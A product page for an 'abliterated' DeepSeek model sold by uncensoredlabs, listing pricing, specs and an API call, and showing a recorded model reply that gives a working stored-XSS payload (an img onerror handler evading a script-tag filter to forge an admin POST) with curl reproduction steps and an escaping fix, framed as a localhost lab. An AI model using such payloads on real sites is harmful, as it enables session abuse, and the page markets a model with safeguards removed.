uncensoredlabs
Log inGet started
← All models

DeepSeek V4.1 Flash 1017 Abliterated

deepseek-v4.1-flash-1017-abliterated
Chat pick. Editorial recommendation, not a benchmark ranking.

Available in browser Chat and through the OpenAI-compatible API.

Open ChatAPI example

Token pricing

Prices in USD per 1 million tokens

Input / 1M
$0.300
Cached / 1M
$0.120
Output / 1M
$0.300

Model specifications

DeepSeek · abliterated

Context window
1,000,000 tokens
Maximum output
65,536 tokens
Capabilities
Text · Streaming · Tool calling

Measured performance

Avg. tokens/sec
62.7
TTFT estimate
≈ 5.3 s
Uptime proxy
100%

Updated 11/1/26, 9:26:10 PM UTC · 24h provider success rate · A dash means there is not enough current measurement data.

See the model respond

A real response to a stored XSS question for a localhost-only lab. The original prompt and response are shown in English. Output is displayed as text; no example code runs on this page.

DeepSeek V4.1 Flash 1017 Abliterated

Recorded model response · Oct 28, 2026, 7:09 PM UTC

You

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

DeepSeek V4.1 Flash 1017 Abliterated

Selected excerpt from the recorded response. Some parts are omitted.

## Reproduce
node server.js &
curl -s -X POST localhost:3000/comment --data-urlencode 't=<img src=x onerror="fetch('"'"'/admin/banner'"'"',{method:'"'"'POST'"'"',headers:{'"'"'Content-Type'"'"':'"'"'application/json'"'"'},body:JSON.stringify({text:'"'"'OWNED IN THE LAB'"'"'})})">'
curl -s -c /tmp/j localhost:3000/admin    # fake admin session
node bot.js                               # prints: OWNED IN THE LAB
The <img onerror> slips past the <script> regex; the handler runs same-origin, so the browser attaches sid=admin and the POST is authorized. ## Fix (safe rendering)
const esc = s => s.replace(/[&<>"]/g, c => ({ '&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;' }[c]));
// ... <p>${esc(c)}</p>
A recorded example, not a live chat.Open Chat

Use this model through the API

Create an API key and add prepaid credits. Set UNCENSOREDLABS_API_KEY in your environment. Install the openai package for the JavaScript or Python example.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "deepseek-v4.1-flash-1017-abliterated",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'
OpenAI-compatible. Change your base URL.Read the quickstart

Limitations and billing

  • Unfiltered does not guarantee an answer to every prompt. Responses can be incorrect, incomplete, or refused by the model.
  • The published maximum output is the UncensoredLabs service limit. Long generations and full-context workloads have not been benchmarked.
  • Credit is reserved for the requested output and a conservative input bound, using the full context window for models without verified request-sized accounting. Final charges use verified usage; uncertain requests may retain their hold.
  • Requests have a ten-minute deadline. Rate limits, concurrency limits, and provider availability apply; API errors include 429 responses with Retry-After.
  • UncensoredLabs does not store prompts or responses on its servers. The inference provider’s retention policy applies.
Errors and rate limitsHow billing worksPrivacy